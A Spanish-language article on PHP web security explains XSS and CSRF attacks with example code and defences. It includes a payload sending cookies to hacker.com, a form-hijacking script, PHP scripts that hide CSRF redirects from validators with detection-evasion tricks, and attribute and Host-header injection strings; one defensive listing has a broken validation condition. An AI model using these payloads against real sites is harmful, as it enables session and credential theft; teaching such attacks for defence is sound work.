Peligros de los ataques XSS y CSRF




Entre todas las vulnerabilidades que atañen a las aplicaciones web, principalmente a las escritas en PHP, sin duda alguna las más populares son los ataques XSS (ing. Cross-Site Scripting) y CSRF (ing. Cross-Site Request Forgery). Sin embargo, en el caso de detectar incluso este tipo de vulnerabilidad en la aplicación, los programadores no les prestan mucha atención, ya que las consideran como inofensivas, quizás también por eso no se interesan por proteger las aplicaciones que crean desde el principio.

En qué se basan los ataques XSS y CSRF y cómo protegerse de ellos.


Para acabar de una vez por todas con las opiniones circulantes acera de la inocuidad de los ataques XSS y CSRF, tomaré el papel de agresor en este artículo y les mostraré que poniendo fragmentos de código HTML supuestamente inocuos se pueden obtener resultados extraordinarios, desde hacerse pasar por otro usuario hasta el reemplazo imperceptible de todo un sitio web.

Sobre ataques XSS y CSRF

Antes de pasar a examinar las posibilidad de realizar un ataque en concreto, hay que saber algunas cositas sobre ataques XSS y CSRF. El objetivo de ambos ataques es el mismo: aprovechan cierta vulnerabilidad, el agresor puede colocar en la página cualquier código, el cual posteriormente puede servir para la ejecución de operaciones no planificadas por el creador del sitio web, por ejemplo, capturar archivos cookies sin que el usuario se percate.

La diferencia entre XSS y CSRF radica en la manera de suministrar el código empleado para el ataque. XSS aprovecha la posibilidad de introducir cualquier código en un campo de texto no verificado, por ejemplo, anunciado en un formulario con el método POST, en cambio durante los ataques tipo CSRF para la descarga y ejecución del código (empleado por el intruso) no se utiliza la falta de validación, sino funciones determinadas de los navegadores web.
Cuidado con los archivos gráficos desconocidos

El tipo de ataque CSRF más popular se basa en el uso del marcador HTML <img>, el cual sirve para la visualización de gráficos. En vez del marcador con la URL del archivo gráfico, el agresor pone un tag que lleva a un código JavaScript que es ejecutado en el navegador de la víctima. Esto permite llevar a cabo una infinidad de operaciones en el marco de la sesión del usuario, el cual con frecuencia no es consciente de que precisamente está siendo atacado.

Otro aspecto importante de estos ataques es el modo de presentar a la víctima la página web modificada. En la mayoría de los casos la agresión se basa en la adición o modificación del contenido de la página mediante el cambio de la dirección URL a petición de GET y obligar al usuario a que haga clic en el enlace de esta dirección. Esta última etapa del ataque requiere un poco de técnica social y de aquí precisamente nace la idea de la inocuidad de los ataques XSS, después de todo la efectividad de éstos requiere la cooperación del usuario (incluso si ésta es inconsciente).

No obstante, este es sólo uno de los posibles métodos para suministrar los datos que atacan. La información imprescindible para llevar a cabo el ataque XSS también se puede almacenar permanentemente, si el agresor logra guardar datos maliciosos en el sitio web atacado, éstos se podrán ejecutar en una cantidad innumerable de usuarios que visitan el servicio sin la intervención de ellos. Esto significa que no son necesarios trucos de técnicas sociales, dado que cada usuario que visite el sitio estará expuesto al ataque.

La ejecución del código necesario para el ataque CSRF (el cual se puede empotrar en el marco XSS) es mucho más fácil: basta con enviar a la víctima un e-mail que contenga el código HTML apropiado. Una vez que el programa de correo abre el mensaje se ejecuta el código HTML que éste contiene, dando al seguimiento de diversos ataques XSS y CSRF, ante todo porque el contenido de los mensajes que contienen HTML se ejecuta automáticamente por la mayoría de los programas de correo que soportan HTML.
Primer ataque CSRF

Ya conocemos los principios para la conducción de ataques, pero aún no sabemos por qué constituyen un problema. Primero nos ocuparemos de la condución de un ataque CSRF, ya que es el más fácil de realizar y muchas aplicaciones son a él vulnerables. Para presentarlo mejor en este artículo, llevaremos a cabo el ataque empleando un foro o un blog, los cuales permiten a los usuarios en sus comentarios (posts) empotrar gráficos mediante el marcador <img> o su homólogo Bbcode [img]. El ataque se basa dentro del marcador de la dirección URL que indica no un archivo gráfico, sino otra página del mismo servicio cuya invocación con la petición GET provoca la ejecución de una determinada operación, por ejemplo, http://foobar.com/admin/delete_msg=1. Cuando el usuario carga esta página, el navegador intenta descargar el archivo de la imagen, ejecutando simultáneamente la instrucción (en este caso) que borra el mensaje de identificador 1. Este ataque no será efectivo para todos los usuarios, pero no importa, ya que basta con que resulte una vez. A este ataque en concreto estarán susceptibles todos los usuarios registrados en el portal foobar.com y en cuyos ordenadores se encuentra el archivo cookie que certifica su autorización en el marco de este servicio. El archivo se envía al servidor ante cada llamada de la página y contiene información imprescindible para la autorización de la operación puesta por el intruso.
Así, los navegadores de modo irreflexivo ayudan a los agresores

Las versiones anteriores de Internet Explorer y de otros navegadores eran capaces de ejecutar y visualizar todas las páginas web ocultas en los marcadores del gráfico, si la dirección URL indicaba a un archivo HTML, entonces el navegador visualizaba y ejecutaba la página señalada, descargando conjuntamente todos sus elementos.

Esto resulta muy peligroso, ya que una página así puede contener un código JavaScript que modifica el contenido de la página llamada, la cual obtiene acceso a través de la propiedad window.opener. Este método se utilizó en los primeros ataques CSRF, aplicados por estafadores que intentaban convencer a usuarios para que visitaran sus páginas web mediante el posicionamiento falso de sus páginas en buscadores que calculaban la popularidad del portal en base a índices provenientes de las llamadas de ésta. El método de ataque más frecuente era empotrar en las páginas modificadas imágenes con referencias a buscadores, por lo que el navegador de cada usuario que abra la página atacada enviará una petición para descargar la página web del agresor. Esto, en consecuencia, provocaba el incremento artificial del número de visitas de la página, posicionándola rápidamente en los primeros lugares. Este método aún se emplea, pero su efectividad se fundamenta en la colocación de la referencia, asignada a un portal concreto, a un servicio de búsqueda. Así, por ejemplo, el portal foobar.com recibiría la dirección que cuenta http://tracker.com/?sid=1234, un operador deshonesto podría colocar esa referencia para diversas páginas (no sólo para la suya), por lo que cada apertura de la página con ese enlance sería contado como visita en la página foobar.com, señalizando al portal tracker.com un gran movimiento en foobar.com. Por suerte, siempre se carga la misma dirección URL, así que para descubrir el engaño basta con revisar la cabecera HTTP Referer.

Otro tipo de ataque tiene ante todo el objetivo de dañar el sistema de la página mediante una referencia a un pequeño archivo gráfico que contiene una enorme imagen, la cual con seguridad cubrirá toda la pantalla, transfierendo al mismo tiempo cualquier otro contenido. Un GIF enorme de 2.000 por 2.000 píxeles es capaz de ocupar tan sólo 3.786 bytes, pero llena toda la pantalla, sin importar la resolución y dimensiones del monitor. Por supuesto, esto no es un mecanismo dañino, pero si irritante.

Seguramente estarás pensando: no que va, mi aplicación no es tan estúpida, no acepta enlaces a imágenes, sólo utiliza la función PHP getimagesize() (o similar) para verificar si cada imagen cargada es verdaderamente un archivo gráfico de dimensiones admisibles.
No todo lo que brilla es oro

Por desgracia es muy fácil romper este tipo de protección. Veamos en qué se basa. Para pasar la verificación básica de la extensión del archivo, el agresor suministra una URL que aparenta ser una dirección de un archivo gráfico, por ejemplo, http://hacker.com/me.jpg, lo que permite engañar la sensibilidad de los mecanismos que verifican la exactitud de la extensión. Luego, empleando el módulo mod_rewrite basta con reemplazar la referencia a me.jpg por una dirección de script PHP que realice el ataque y así obtener la posibilidad de ejecutar cualquier código:

RewriteEngine on

RewriteRule ^/me.jpg$ hacker.php

Tras este reemplazo, todas las referencias a me.jpg serán dirigidas en realidad al script hacker.php, en el cual a su vez se pueden aplicar varios trucos para desorientar a los scripts verificadores. Si por ejemplo conocemos la IP del servidor que revisa la exactitud del contenido del archivo gráfico, podemos enviarle una imagen correcta, y dirigir a otra dirección al resto de los usuarios (Listado 1).

Listado 1. Envío de un archivo gráfico inocente al servido que verifica el contenido de la imagen redireccionando simultáneamente todas las demás peticiones.




if ($_SERVER['REMOTE_ADDR'] = '1.2.3.4') {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
} else {
header("Location: http://foobar.com/admin/delete_msg.php?=1");
}

Otra manera más universal es verificar la presencia de la cabecera HTTP_REFERER, suministrada por la mayoría de los navegadores con el objetivo de determinar la página de donde vino la petición (Listado 2). Si PHP comunica la petición de verificar mediante getimagesize() o bien cuando el administrador revisa manualmente el enlace al archivo, este campo está vacío. Gracias a ello, la decisión de ataque también se puede basar en la presencia de esta cabecera: si está presente, podemos intentar llevar a cabo el ataque, de lo contrario visualizamos el archivo gráfico inocente.

Listado 2. Código que toma la decisión de atacar en base a la presencia del campo HTTP_REFERER




if (empty($_SERVER['HTTP_REFERER'])) {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
} else {

header("Location: http://foobar.com/admin/delete_msg.php?=1");
}

En algunos casos el contenido ya preparado deberá pasar por el proceso de validación, lo que, por ejemplo, puede confirmar el siguiente registro en el blog o de un nuevo avatar en el foro. Si utilizamos directamente los trucos citados, el administrador o moderador cansado se dará cuenta del ataque y procederá a su liquidación. Para evitar la detección, podemos retrasar la ejecución del script en 1 ó 2 días o simplemente esperar hasta que se confirme el contenido modificado y luego proceder a la retransmisión. También se puede introducir en el ataque algo de aleatoriedad para que no todos los usuarios sean atacados, así como evitar que un usuario sea atacado dos veces, cuestión que limita las posibilidades de detección (Listado 3).

Listado 3. Eludir la detección mediante una selección aleatoria de las víctimas


$deployment_time = filemtime(__FILE__);

if ($deployment_time < (time() + 86400 * 2) || isset($_COOKIE['h']) || !(rand() % 3)) {
header("Content-Type: image/jpeg");
readfile("./me.jpg");
}

setcookie("h", "1", "hacker.com", time() + 86400 * 365,
"/");
header("Location:
http://foobar.com/admin/delete_msg.php?=1");

Aquí aparecen tres mecanismos que tienen como objetivo dificultar la detección del ataque. Primero, el script no hará travesuras durante dos días a partir de la instalación (suponiendo que cada ataque está registrado en un script aparte), que en la mayoría de los casos permite saltar el proceso de validación, siempre que exista, por supuesto. A continuación se registra el archivo cookie con el fin de vigilar al usuario y garantizar que nadie será atacado más de una vez, dificultando aún más la detección del ataque. La última protección es el sorteo de la probabilidad del ataque, la redirección se ejecutará al menos cada tres peticiones.

Ya sabemos en qué se basa un ataque, entonces ¿cómo podermos evitarlo? A decir verdad, existen sólo dos opciones. La primera de ellas es impedir a los usuarios que envíen imágenes. A pesar de que parece la solución más segura y más fácil, para muchos creadores de aplicaciones sería un procedimiento que limitaría excesivamente sus productos. La segunda posibilidad es descargar al ordenador local cada archivo verificado, revisarlo con la ayuda de la función getimagesize(), y si son datos seguros, registrar el archivo en el servidor y modificar la referencia de la imagen de tal manera que señale el archivo local y no el recurso en un servidor remoto (Listado 4).

Listado 4. Descarga de la imagen a la máquina local, su verificación, registro y modificación del primer enlance con el objetivo de frustrar un ataque eventual




$img = "http://hacker.com/me.jpg";

file_put_contents($img_store_dir.md5($img), file_get_contents($img));
$i = getimagesize($img_store_dir.md5($img));

if (!$i && $i[0] < $max_width && $i[1] < $max_height) {
unlink($img_store_dir.md5($img));
}

rename($img_store_dir.md5($img),

$img_store_dir.md5($img).image_type_to_extension(
$i[2]));

En este caso empezamos descargando la imagen y registrándola en un archivo local en el catálogo de gráficos, bajo el nombre MD5, que constituye una abreviación de la dirección inicial. De esta manera ya se puede verificar el archivo con la ayuda de la función getimagesize(). El registro preliminar de la imagen en un archivo local es necesario para impedir que un potencial agresor modifique el contenido entre peticiones. Si la imagen se verificara en base a la dirección del archivo remoto, y se procede a su descarga, el agresor necesitaría de un simple cálculo de peticiones de una dirección IP concreta para cambiar el contenido devuelto de la segunda petición y proceder con el ataque.

La descarga del archivo a la máquina local impide una eventual modificación del contenido por el lado del servidor remoto. El resultado de la función getimagesize() es un array con diversa información de la imagen. Si como resultado de la llamada de esta función no obtenemos el array, podemos estar seguros de que tratamos con un archivo gráfico falso. La primera etapa de la verificación de la exactitud es asegurarse de que se trata de un gráfico; segundo, verificar las dimensiones de la imagen para que tras su colocación en la página no dañe su composición. Si alguna de las verificaciones falla, se borra el archivo sospechoso del disco duro evitando así malgastar espacio libre. La última etapa de validación es el cambio del nombre del archivo y darle una extensión conforme a su tipo, para que los navegadores lo puedan visualizar correctamente.

Es muy importante NO utilizar la extensión descargada de la dirección suministrada por el usuario, recomiendo determinarla en base al contenido del archivo, esto es necesario con el obejtivo de evitar el error descubierto recientemente en Internet Explorer. El defecto aparece en situaciones donde la extensión del archivo gráfico no concuerda con el tipo de la cabecera del archivo, por ejemplo, el archivo me.jpg es en realidad una imagen GIF. En esta situación IE hace algo muy raro: procesa el archivo de tal manera que ejecuta cualquier código HTML empotrado en la imagen, lo que abre el camino a un ataque XSS y CSRF en el caso de acceder directamente a un archivo así:

<GIF89a 8 f >

<html>

<head>

<script>alert("XSS");</script>

</head>

<body></body>

</html>

(Error descubierto por Marc Ruef,

http://www.securiteam.com/windowsntfocus/6F00B00EBY.html)

Este archivo de la imagen (preparado de esta manera) permitiría conducir un ataque exitoso sin importar la validación con la ayuda de la función getimagesize(), dado que únicamente verifica la cabecera del archivo, que en este caso, es admitido sin ningún problema. Asignando al archivo la extensión en base al tipo declarado en la cabecera eliminamos esta divergencia y, en consecuencia, frustamos el ataque.

Si esta fuera la única dificultad relacionada con la solución propuesta, con seguridad sería la más utilizada. Sin embargo, existen otros problemas. Primero, el registro local de todos los archivos gráficos puede exigir mucho sitio en el disco duro, que en el caso de los operadores de portales de recursos limitados es un factor muy importante. Además el acceso de todos los archivos gráficos del servidor puede sobrecargar significativamente el ancho de banda y al mismo tiempo aumentar los costes de mantenimiento del servidor. Una solución parcial para ambas dificultades es limitar las dimensiones de los archivos, pero esto en realidad es un modo de eludir el problema en vez de resolverlo.

El problema más serio (supongo) con la descarga del archivo a nivel de PHP es la vulnerabilidad de este proceso a ataques Denial of Service (DoS) dirigidos en contra del servidor. La descarga del archivo a través de PHP requiere establecer conexión con el servidor, en el cual éste se encuentra. Si el servidor es lento, el establecimiento de la conexión puede demorar. Durante el establecimiento de la conexión, el proceso PHP que soporta la petición espera inactivamente la apertura del puerto. Esto no genera ningún tipo de aviso, ya que la espera no utiliza tiempo del procesador. El tiempo de espera está programado por defecto en 60 segundos. Esto significa que cualquier proceso PHP será no apto incluso durante un minuto. Por lo tanto basta con instigar todos los procesos activos del servidor web para que carguen archivos externos y bloqueen el acceso de los usuarios al servidor. La mayoría de los servidores admiten al menos 200 conexiones simultáneas, así la realización de un ataque DoS a través de este método es una tarea trivial. Esto por suerte lo podemos remediar reduciendo el tiempo de establecimiento de la conexión a uno más seguro, es decir, 2-5 segundos. Para ello hay que cambiar únicamente los valores del parámetro default_socket_timeout w pliku php.ini.

Esta modificación también la podemos realizar a nivel de script, así el nuevo tiempo englobará todas las conexiones establecidas por PHP mediante el flujo API:

//restricción del tiempo de establecimiento de conexión

ini_set("default_socket_timeout", 5);

La ejecución de esta intrucción soluciona la cuestión del tiempo de establecimiento de conexión, pero no el problema de la descarga lenta del archivo. Otra dificultad es el hecho que los flujos PHP por defecto bloquean, es decir, una vez abierto el flujo esperará hasta efectuarse el envío de datos desde el servidor remoto, ya que aquí no hay un tiempo de espera predeterminado (a diferencia del proceso de establecimiento de conexión).

La situación, no obstante, tiene solución gracias a la función stream_set_timeout(), que permite ajustar el tiempo de espera para el flujo (Listado 5). Sin embargo esta función opera directamente sobre el flujo, por lo tanto tenemos que modificar el código que descarga el archivo de tal manera que no utilice la función que empaca el soporte del flujo file_get_contents().

Listado 5. Ajuste del tiempo de espera para el flujo con la ayuda de la función


stream_set_timeout()
$fp = fopen($img_url, "r");
stream_set_timeout($fp, 1);
file_put_contents($destination_path, stream_get_contents($fp));
fclose($fp);

El nuevo código que descarga el archivo ordena a PHP que espere los datos enviados desde el puerto sólo durante un segundo. La aplicación del tercer argumento de la función stream_set_timeout() permite ajustar un tiempo aún más corto, medido en microsegundos, por ejemplo la llamada stream_set_timeout($fp,0,250000); ajustaría el tiempo de espera a un cuarto de segundo. Sin embargo, en el caso de elegir tiempos de espera excelentes, aún existe un camino de ataque: el agresor tiene que enviar únicamente los datos muy despacio, por ejemplo, a un ritmo de 5 bytes por segundo, pero con cierta frecuencia para no sobrepasar el tiempo de espera. En el caso de una imagen de 20 kilobytes (20.480 bytes) le tomaría al servidor 68 segundos y mucho más para archivos mayores.

Desgraciadamente, es imposible prevenir este tipo de ataques, ya que la introducción de protecciones contra ellos requiere de los programadores muchísimo tiempo y esfuerzo, cuestión que no es rentable. La solución estaría en descargar la imagen en fragmentos de un byte y monitorear la rapidez de transmisión que permitiría eliminar las conexiones más lentas de las determinadas como mínimo. Esto exigiría el uso de una mayor fuerza de cálculo del servidor para descargar los mismos datos, y la única consecuencia sería reemplazar el riesgo de agotar los recursos por otro.

¿Cómo podemos resumir los ataques que utilizan los archivos gráficos? La única solución eficaz es simplemente impedir que los usuarios suministren sus propios gráficos. El resto de las protecciones dificultan de un modo u otro la conducción de este tipo de ataques, pero con seguridad no los previenen.
Atributos peligrosos de CSS

El marcador <img> es el responsable más frecuente de los ataques CSRF, pero también se pueden conducir empleando otros métodos, los cuales bajo ciertas consideraciones son siginificativamente más desagradables, y, adicionalmente, más difíciles de detectar. Uno de los caminos de ataque es el uso del atributo CSS background, que permite definir el archivo gráfico empleado como fondo para el elemento de la página. ¿Cómo introducir ese atributo en el código? La manera es más sencilla de lo que parece y, además es empleado con mucha frecuencia. Todo el problema radica en que muchas aplicaciones PHP dejan a los usuarios determinar el modo de visualizar los datos introducidos, permitiendo la aplicación de marcadores sencillos HTML en el texto, por ejemplo, para escribir en negrita <b>, cursiva <i> y similares. Esto en sí no es un problema, pero la implementación de esta solución con frecuencia es muy problemática. En muchos casos la aceptación de marcadores HTML se lleva a cabo empleando un argumento facultativo de la función strip_tags(), el cual permite excluir, del proceso de eliminación de tags, marcadores definidos como inocuos. Gracias a ello el programador que desea permitir a los usuarios la aplicación de marcadores HTML puede indicar a la función que no borre precisamente estos marcadores, así, por ejemplo, la admisión de los marcadores para escribir en negrita y cursiva exigiría la llamada strip_tags($test, "<b><i>"). Mecanismo sencillo y seguro, pero ¿es realmente así?

Desgraciadamente éste no es un método seguro. La función strip_tags() deja pasar completamente cada marcador admitido, junto con todos los atributos registrados en sus límites. Esto significa que el agresor en realidad no puede poner sus propios tags, pero en cambio puede colocar cualquier atributo en los marcadores admitidos por la aplicación. A decir verdad, la especificación W3C no prevé para los marcadores del tipo <b> o <i> el soporte del atributo de estilo que determina el fondo del elemento, pero esto no tiene mucha importancia, ya que la mayoría de los navegadores soportan estos atributos. Así, podemos hacer uso de todos los trucos que hemos aprendido durante el ataque a través del marcador <img>, basta con elegir cualquier marcador y asignarle atributos de estilo como: "background: url('http://hacker.com/me.jpg')". El Listado 6 ilustra el código que aprovecha este procedimiento.

Listado 6. Ejemplo de estilos CSS peligrosos




$text = '<b style="background: url('http://hacker.com/me/.jpg')">TEST</b>';
//escribe el texto junto con el formateado
echo strip_tags($text, "<b><i>");

Los ataques de este tipo son tan desagradables que la imagen que falta se visualizará en el navegador como texto o icono. Además es muy fácil percatarse de que algo está mal; en cambio el fondo que falta simplemente no se ve, lo que dificulta aún más la detección del ataque. Espero que este ejemplo les haya ilustrado explícitamente por qué no hay que realizar el soporte de marcadores de formateado junto con la función strip_tags(). Es más seguro implementar un subconjunto seleccionado de tags BBcode que no soportan atributos. BBcode suministra un conjunto de marcadores de formateado muy similares a los tags HTML, pero destinados únicamente a un formateado restringido. Los marcadores introducidos por los usuarios son convertidos por último a código HTML equivalente. Gracias a ello se puede ofrecer a los usuarios la posibilidad de formatear el texto por sí mismos sin abrir caminos a ataques XSS o CSRF. Por supuesto, para este objetivo no hay que escribir nuestro propio parser, dado que ya existen varias herramientas oportunas de este tipo. Para este fin se presta perfectamente, por ejemplo, la clase PEAR llamada HTML_BBCodeParser, disponible en la dirección http://pear.php.net/package/HTML_BBCodeParser. Otra posibilidad es la admisión de marcadores HTML y emplear las funciones del paquete SafeHTML (http://pixel-apes.com/safehtml), las cuales eliminan del texto transferido todo tipo de elemento peligroso y atributos HTML.

Para la conducción del ataque CSRF se pueden emplear no sólo trucos con imágenes básicas en marcadores <img> y atributos de fondo, sino que también en cualquier otro marcador cuyo procesamiento se relacione con la descarga automática del recurso indicado. Los tags del tipo <iframe> o <script> son generalmente seguros por su naturaleza estática e inaccesibles para el usuario. Sin embargo se puede obtener acceso a ellos a través de una variable no verificada; pueden constituir un riesgo tan peligroso como el de los mecanismos anteriormente citados.
Ahora XSS

Los ataques CSRF se basan en el uso de elementos, existentes o introducidos legalmente, de la página para fines malciosos, en cambio el objetivo del ataque XSS (ing. Cross Site Scripting) es esquivar el proceso de validación y permitir al agresor que introduzca cualquier contenido en la página. Los datos colocados de este modo pueden servir posteriormente para extraer información confidencial del usuario, ejecutar determinadas operaciones con atributos de usuario registrado y acciones similares. La brecha hecha por el exitoso ataque XSS asimismo puede servir para la conducción del ataque CSRF, por lo tanto se puede decir con toda seguridad que XSS es un ataque de posibilidades casi infinitas y por ello representa una gran amenaza.

Aún peor, la susceptibilidad a los ataques XSS es un problema universal que mortifica tanto a grandes como a pequeños sitios web. Hace un par de semanas salió a la luz pública que incluso los nuevos servicios de gigantes como Google y Yahoo son vulnerables a estos ataques, y los comunicados que aparecen diariamente en las listas de discusiones consagradas a seguridad, argumentan la existencia de problemas similares en muchas aplicaciones. En la mayoría de los casos los errores que permiten los ataques XSS ni siquiera están bien ocultos, a veces incluso el buscador en la página principal del popular servicio es víctima de este ataque. Cuando el usuario introduce un texto en el buscador, las consultas que él hace se visualizan en la página de resultados en forma de un valor de campo <input>, para facilitar un cambio eventual de los criterios de búsqueda. La conducción de un ataque XSS es posible ante la falta de validación de este campo. El aprovechamiento de la vulnerabilidad es tan sencillo que basta con introducir en el buscador la cadena "> TEXTO XSS <", donde TEXTO XSS contiene cualquier dato, el cual ha de colocarse en la página. Los símbolos inciales "> tienen como objetivo la terminación del marcador <input>, cuyo atributo de valor contiene el contenido de la consulta; en cambio los símbolos finales <" cierran el resto del marcador (Listado 7).

Listado 7. Ataque XSS sobre un campo típico del buscador



<input type="text" name="s" value="<?php echo $_POST['q']; ?>" />

<input type="text" name="s" value=""> TEXTO XSS <"" />

Si este ataque resulta exitoso, el agresor puede modificar libremente el contenido de la página. Podría, por ejemplo, captar para sus infames fines un archivo cookie de otro usuario, basta con reemplazar la cadena TEXTO XSS por el código del Listado 8.

Listado 8. Cadena ejemplar del XSS atacante




<script>
var r = new XMLHttpRequest();

r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);

</script>

La colocación de datos en este caso es un breve script en JavaScript que anuncia una petición HTTP al servicio web elegido por el hacker, enviándole los nombres y el contenido de todos los archivos cookie actualmente ajustados para el desafortunado usuario. El agresor puede guardar copias de estos archivos en su ordenador y obtener los mismos derechos de acceso que posee el usuario registrado en el servicio web. La función XMLHttpRequest() aplicada en este ejemplo la soporta únicamente el navegador Mozilla Firefox, pero por suerte (para el intruso) IE facilita una función equivalente ActiveXObject("Microsoft.XMLHTTP") de acción idéntica, gracias a ello este método es universal. Otro truco se presta muy bien para atacar páginas que recogen informaciones de usuarios mediante formularios, por ejemplo, páginas de login o bien formularios con petición de informaciones sobre ajustes de cuentas en servicios web relacionados con comercio electrónico. En este caso la cadena atacante puede servir para modificar la propiedad action del formulario y enviar los datos comunicados a otro sitio web.

Listado 9. Ataque XSS en formulario




<script>
for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
</script>

El script XSS ilustrado en el Listado 9 modifica la propiedad action de todos los fomularios de una página dada conforme con la idea del agresor, gracias a ello las informaciones brindadas por el usuario no llegan a la página objetivo, sino al intruso. Un malhechor más astuto no sólo intercepta datos importantes, sino que también borra las huellas del ataque a través de un redireccionamiento de los datos a su lugar de destino correcto. Para ello sirve la siguiente redirección temporal:

log_data($_GET, $_POST);

header("HTTP/1.0 307 Moved Permanently");

header("Location: ".$_SERVER['QUERY_STRING']);

Conforme con la especificación, el redireccionamiento de la petición POST debe ser autorizada por el usuario, Firefox visualiza una ventana de diálogo oportuna. Sin embargo el comunicado visualizado no es muy legible y la mayoría de los usuarios maquinalmente pulsa la opción de confirmación, y si no lo hacen, el daño igual ya está hecho, ya que el agresor ha logrado obtener los datos enviados. La verdadera ganga para el intruso en este caso es Internet Explorer, el cual ignora completamente la especificación y realiza el redireccionamiento sin previo aviso, ocultando totalmente el hecho del envío de la petición POST a través de una página no autorizada.

Desde el punto de vista del usuario toda la operación aparenta tener un transcurso correcto, ya que todo funciona y no se comunica ningún problema. Todo el ataque se lleva a cabo mediante redirección, así el valor de la cabecera HTTP_REFERER no es actualizado y la detección del ataque, mientras dura, no es posible. Las únicas huellas las podemos buscar en los diarios de acceso al servidor, en los cuales debe estar registrado la petición inicial que contiene la cadena agresora.

También hay aplicaciones en las cuales sus creadores han subestimado los ataques XSS y sólo han implementado protecciones básicas, que en la mayoría de los casos son insuficientes. A veces para colocar el marcador los símbolos <, " y > se codifican de modo seguro como etiquetas &gt;, &quot; y &lt;, pero el símbolo de apóstrofo no se toca. Esto es un efecto típico de la aplicación de las preferencias predeterminadas de la función PHP htmlspecialchars() y htmlentities(), que permiten codificar los símbolos especiales para que correspondan a HTML.

El problema de dejar símbolos de apóstrofo sin codificar es que los atributos situados dentro de los marcardores HTML (y potencialmente rellenos con los datos del usuario) pueden ser capturados precisamente en los símbolos de apóstrofo. Esto significa que el agresor puede utilizarlos para cerrar el atributo existente y añadir el suyo. Podríamos probar, por ejemplo, colocar el atributo onMouseOver, el cual invocaría un evento de JavaScript al momento de pasar el puntero del ratón sobre el elemento atacado de la página. Durante la creación del código, que servirá para la conducción del ataque, hay que evitar los símbolos codificados y usar el apóstrofo como símbolo que engloba el valor de los atributos. Nos puede parecer algo complicado, pero en la práctica la conducción de este ataque es muy trivial gracias a dos funciones de JavaScript: String.fromCharCode(), que permite cambiar la lista de códigos ASCII en cadenas compuestas por símbolos equivalentes, y eval(), la cual ejecuta el código registrado en la cadena de símbolos que se le transfiere. Para que aparezca el comunicado (tras pasar el puntero del ratón sobre el elemento atacado) de JavaScript de contenido XSS, basta con colocar en el valor cualquiera de los atributos del elemento de la siguiente cadena:

' onMouseOver='eval(String.fromCharCode

(97,108,101,114,116,40,39,88,83,83,39,41,59))' '

El apóstrofo inicial cierra el atributo abierto, y el último abre el siguiente para evitar errores de análisis sintáctico HTML. El contenido entre los símbolos de apóstrofo posee el nuevo atributo cuyo valor es el código de JavaScript que ejecuta mediante la función eval() la instrucción alert('XSS'); compuesta de los códigos ASCII transferidos.

Para evitar esta amenaza, hay que recordar siempre de transferir ENT_QUOTES como valor del segundo argumento de la función htmlspecialchars() y htmlentities(), que provoca la codificación de los símbolos de apóstrofo a equivalentes en HTML &#039;.

Un error afín de la validación es asegurar el contenido suministrado por el usuario única y exclusivamente con la ayuda de la función strip_tags(). Esta función borra eficazmente los marcadores HTML, pero no hace nada en el asunto de las comillas y símbolos de apóstrofo, que en el caso del uso directo de los datos introducidos por el usuario, abre el camino al ataque con la colocación de atributos. La correcta validación se basa en la ejecución de la función strip_tags(), y el posterior procesamiento del resultado de su acción con la ayuda de htmlspecialchars() lub htmlentities():

//validación correcta

$text = htmlspecialchars(

strip_tags($_POST['msg']),

ENT_QUOTES);

Los datos verificados de esta manera son resistentes al ataque y los podemos guardar de modo seguro en el disco duro o visualizarlos en el navegador del usuario.

El asunto clave es la validación de todos los datos de entrada, sin importar su procedencia. Un error típico es filtrar únicamente los datos recibidos mediante las peticiones GET y POST, así como los archivos cookie, y omitir la validación de los datos descargados de las variables de entorno del servidor mediante la principal variable global $_SERVER. Algunos programadores olvidan que las variables de entorno se toman directamente del servidor, pero sus valores se fijan en base a los datos suministrados por el usuario, de este modo poseen el mismo riesgo que la información que se descarga directamente.

Además, estos datos se visualizan con frecuencia en los paneles de gestión si ocurre algún error, siendo aún más peligrosos si la víctima de ellos se convierte en un usuario de derechos extendidos (administrador). Uno de los posibles ataques de este tipo aprovecha el valor de la variable HTTP_HOST, que contiene el nombre del dominio en el cual se encuentra la página actualmente procesada. Nos puede parecer que este valor debería estar seguro, se supone que el agresor no puede cambiar el nombre del dominio. Pues no del todo. El valor de la variable se toma de la cabecera Host suministrada por el host que comunica la petición. Si el sitio web tiene su propia dirección IP o una dirección básica (la primera) del grupo de direcciones IP virtuales, la petición con el contenido modificado de esta cabecera será procesado correctamente por el servidor Apache. Esto significa que la petición de la página de tal servicio web se puede falsificar colocando cualquier dato en la variable:

HTTP_HOST:

GET / HTTP/1.0

Host: <script>...

El efecto es que $_SERVER['HTTP_HOST'] contiene ahora el valor <script>... u otros datos mucho más dañinos. Trucos similares se pueden aplicar en el caso de otras cabeceras, por ejemplo, Via (variable HTTP_VIA) o X-Forwarded-For (variable HTTP_X_FORWARDED_FOR), empleadas por los servidores que señalan al usuario de donde proviene la petición.

En vez de la dirección o lista de direcciones IP, el agresor puede escribir en estas cabeceras cualquier dato, el cual es ejecutado por cada servidor web sin excepción alguna. Supongo que la única cabecera segura es REMOTE_ADDR, la cual almacena la dirección IP del usuario, ya que es colocada por el servidor y puede contener únicamente una dirección correcta. Los demás valores descargados de las cabeceras siempre hay que verificarlos antes de emplearlos.
Resumen

Espero que esta corta revisión de las posibilidades de los ataques XSS y CSRS les haya mostrado que éstos constituyen un peligro real y hay que protegerse de ellos. Como hemos visto, proteger las aplicaciones y los servidores contra ataques de este tipo no es una tarea difícil, así que la seguridad de tu servidor se encuentra única y exclusivamente en tus manos. Si nos guiamos por algunos principios simples podremos restringir de modo significativo el riesgo de un acceso no autorizado a datos y evitar las consecuencias de la pérdida de ellos.

 

Autor:
Ilia Alshanetsky
Arquitecto jefe de programación en la empresa Advanced Internet Designs Inc., especializada en auditorías de seguridad, análisis de rendimiento y creación de aplicaciones. Es creador de FUD forum (http://fudforum.org), conocido foro open source, creado con la idea de unir posibilidades desarrolladas con rendimiento y un alto nivel de seguridad.

Ilia pertence al grupo principal de programadores PHP y ha participado en la creación de extensiones, entre otras, para SHMOP, PDO, SQLite, GD y ncurses. Participa activamente en los trabajos del grupo de control de calidad PHP. Ha enmendado cientos de errores, así como muchas correcciones de rendimientos y nuevas funciones.

Fuente:
es.phpsolmag.org



Otras artículos de interés:

Windows vs. Linux, Mitos y Realidades
En un enlace en los servidores de Microsoft, que data del 2003 y para esa fecha "probablemente" el autor tendría algunos aciertos sobre lo que escribe. El enlace fue enviado a la lista de seguridad0.com donde los integrantes...
